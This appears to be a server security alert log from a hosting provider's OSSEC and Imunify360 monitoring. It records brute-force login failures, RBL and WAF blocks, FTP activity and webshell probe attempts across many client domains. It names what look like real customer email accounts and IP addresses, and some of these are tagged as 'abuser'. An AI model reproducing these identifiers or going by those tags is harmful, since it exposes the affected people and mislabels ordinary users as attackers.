# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:09:10 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:3886: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.65.239.26
country_id: 3469034
description:
Jan 21 14:10:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.65.239.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 14:10:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:10:06 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:25466: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:11:36 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:10543: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.65.239.26
country_id: 3469034
description:
Jan 21 14:10:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.65.239.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:11:02 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:47535: 535 Incorrect authentication data


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 14:12:51 sv3 pure-ftpd[2891693]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1054_Dial-An_Instalment_eDM/index_edm.html uploaded  (28835 bytes, 1129.39KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:11:59 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:18792: 535 Incorrect authentication data


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-21 14:12:10 +0800] info [webmaild] 175.144.229.115 - purchase@evergrown.com.my "GET /cpsess5797599970/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 14:12:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 14:12:16 sv3 pure-ftpd[2891105]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 14:12:18 sv3 pure-ftpd[2891105]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.229.178.156
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=57231515120781 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 14:12:33 sv3 pure-ftpd[2891105]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/merge267/images/SharkFin_chart.jpg


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.44.103.22
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-13.152.44.103.22||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 14:12:58 sv3 pure-ftpd[2891693]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1054_Dial-An_Instalment_eDM/images/banner3.jpg uploaded  (24309 bytes, 945.98KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:13:06 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:20163: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.155.146
country_id: 99237
description:
Jan 21 14:13:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.155.146 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.115.12
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=89011514876758 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.164.87
country_id: 1269750
description:
Jan 21 14:14:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.164.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:14:02 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:44213: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:14:14 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:48412: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.137.11.182
country_id: 1733045
description:
2026-01-21 14:14:17 dovecot_login authenticator failed for H=(DESKTOPFASKVQA) [175.137.11.182]:59983: 535 Incorrect authentication data (set_id=jasinpack_support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:15:10 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:5683: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.210.127.16
country_id: 2635167
description:
Jan 21 14:15:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.210.127.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.164.87
country_id: 1269750
description:
Jan 21 14:14:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.164.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.210.127.16
country_id: 2635167
description:
2026-01-21 14:15:18 dovecot_login authenticator failed for H=(localhost) [195.210.127.16]:22708: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.92.22.27
country_id: 3625428
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=837747 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.191.223.244
country_id: 3865483
description:
Jan 21 14:16:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.191.223.244 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.158.209
country_id: 1733045
description:
[2026-01-21 14:16:49 +0800] info [webmaild] 115.133.158.209 - cle@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.73.77
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-20.92.71.73.77||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 14:20:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.99.250.207
country_id: 1210997
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/press.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 191.96.95.237
country_id: 290557
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-24.191.96.95.237||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.87.214.38
country_id: 6252001
description:
Jan 21 14:27:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.87.214.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.87.214.38
country_id: 6252001
description:
2026-01-21 14:27:47 dovecot_plain authenticator failed for H=([100.83.39.87]) [45.87.214.38]:63073: 535 Incorrect authentication data (set_id=wanfazris@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.160.161.150
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&page_id=1&sub=23 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 14:34:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12774: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 14:34:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51144: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 14:34:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 14:35:04 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 14:35:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 14:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:21464: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-21 14:37:03 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.3
country_id: 1733045
description:
[2026-01-21 14:37:20 +0800] info [webmaild] 27.125.240.3 - cmchin@chs.com.my "GET /cpsess2689405189/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.246.27] != Current IP Address [27.125.240.3]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.158.209
country_id: 1733045
description:
[2026-01-21 14:38:59 +0800] info [webmaild] 115.133.158.209 - cle@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 130.12.182.190
country_id: 6252001
description:
2026-01-21 14:42:17 476022 [Warning] Aborted connection 476022 to db: 'unconnected' user: 'unauthenticated' host: '130.12.182.190' (This connection closed normally without authentication)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.190
country_id: 6252001
description:
Jan 21 14:42:16 sv3 pure-ftpd[2937661]: (?@130.12.182.190) [INFO] New connection from 130.12.182.190


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.25.204
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=13631531899383 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.190.86
country_id: 3017382
domain: www.snymetalstamping.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:14-43.209.50.190.86||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.3.44.125
country_id: 2510769
domain: www.snymetalstamping.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:14-43.45.3.44.125||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.24.127
country_id: 2921044
domain: www.snymetalstamping.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:14-43.65.111.24.127||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.241.90
country_id: 3469034
domain: www.snymetalstamping.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:14-43.216.26.241.90||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.255.112.15
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=275784 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 14:44:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.237.188.58
country_id: 3469034
description:
Jan 21 14:44:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.237.188.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.207.55.211
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-45.104.207.55.211||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.67.99.16
country_id: 2510769
description:
2026-01-21 14:45:19 dovecot_login authenticator failed for H=(localhost) [45.67.99.16]:47398: 535 Incorrect authentication data (set_id=info@chs.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.170.134.144
country_id: 1562822
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/course/TOEFL-Exam-Preparatory-7 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.0.11.44
country_id: 192950
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/paragliding-tnc.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 14:50:01 H=([46.151.182.48]) [46.151.182.48]:62469 F=<mailerd@astlog.com.my> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 45.91.64.7
country_id: 2017370
description:
45.91.64.7 - - [21/Jan/2026:14:52:37 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13135761&pdata=https%253A%252F%252F42.0.28.25%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768978355 HTTP/2.0" 404 561 42.0.28.25 "https://42.0.28.25:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.91.64.7


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 95.215.0.144
country_id: 2017370
description:
95.215.0.144 - - [21/Jan/2026:14:52:38 +0800] "GET /favicon.ico HTTP/2.0" 415 587 42.0.28.25 "https://42.0.28.25:2083/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13135761&pdata=https%253A%252F%252F42.0.28.25%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768978355" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.215.0.144


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 45.91.64.7
country_id: 2017370
description:
45.91.64.7 - - [21/Jan/2026:14:52:41 +0800] "GET /favicon.ico HTTP/1.1" 415 587 42.0.28.25 "https://42.0.28.25:2083/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13135761&pdata=https%253A%252F%252F42.0.28.25%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768978355" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.91.64.7


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.164.50.92
country_id: 1733045
description:
[2026-01-21 14:53:52 +0800] info [webmaild] 115.164.50.92 - teressa@smartcable.com.my "POST /cpsess9881554372/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [180.75.72.60] != Current IP Address [115.164.50.92]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.176.50.48
country_id: 2542007
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/carry/55/376703 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.55.105.232
country_id: 1269750
description:
Jan 21 14:54:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.55.105.232 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 14:54:50 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.52.195
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.176.93.17
country_id: 1562822
domain: www.mkmetal.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mkmetal.com.my/clients.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.115
country_id: 3175395
description:
Jan 21 14:55:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.55.105.232
country_id: 1269750
description:
Jan 21 14:54:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.55.105.232 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.246.177.4
country_id: 6252001
description:
2026-01-21 14:56:48 dovecot_login authenticator failed for H=(localhost) [91.246.177.4]:26819: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.246.177.4
country_id: 6252001
description:
2026-01-21 14:57:32 dovecot_login authenticator failed for H=(localhost) [91.246.177.4]:39349: 535 Incorrect authentication data (set_id=info@stillman.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 14:57:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 14:57:34 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59594: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.208
country_id: 3469034
description:
Jan 21 14:57:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.208 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 14:58:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 108.165.113.54
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-58.108.165.113.54||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.202.94.124
country_id: 2589581
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/services.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 14:59:41 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.136.123.47
country_id: 1733045
description:
[2026-01-21 14:59:45 +0800] info [webmaild] 175.136.123.47 - pylim@af-sb.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 15:00:14 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 15:01:50 H=([45.144.212.242]) [45.144.212.242]:53990 F=<no_reply@admin.com> rejected RCPT <enquiry@nexuscollection.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 15:01:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59658: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 15:02:00 H=([45.144.212.242]) [45.144.212.242]:63074 F=<no_reply@admin.com> rejected RCPT <enquiry@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 15:02:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52632: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 15:02:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12777: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 15:03:38 H=([46.151.182.48]) [46.151.182.48]:59338 F=<mailerd@fasterget.com.my> rejected RCPT <operation2@fasterget.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 15:03:54 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59683: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 15:04:00 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59683: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 15:04:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:21476: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 15:04:37 H=([45.144.212.242]) [45.144.212.242]:62971 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.84.116.216
country_id: 3686110
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=191716 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 91.230.168.176
country_id: 6252001
description:
Jan 21 15:05:53 sv3 pure-ftpd[2978714]: (?@91.230.168.176) [INFO] New connection from 91.230.168.176


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.34.241
country_id: 1562822
domain: www.cabe.com.my
description:
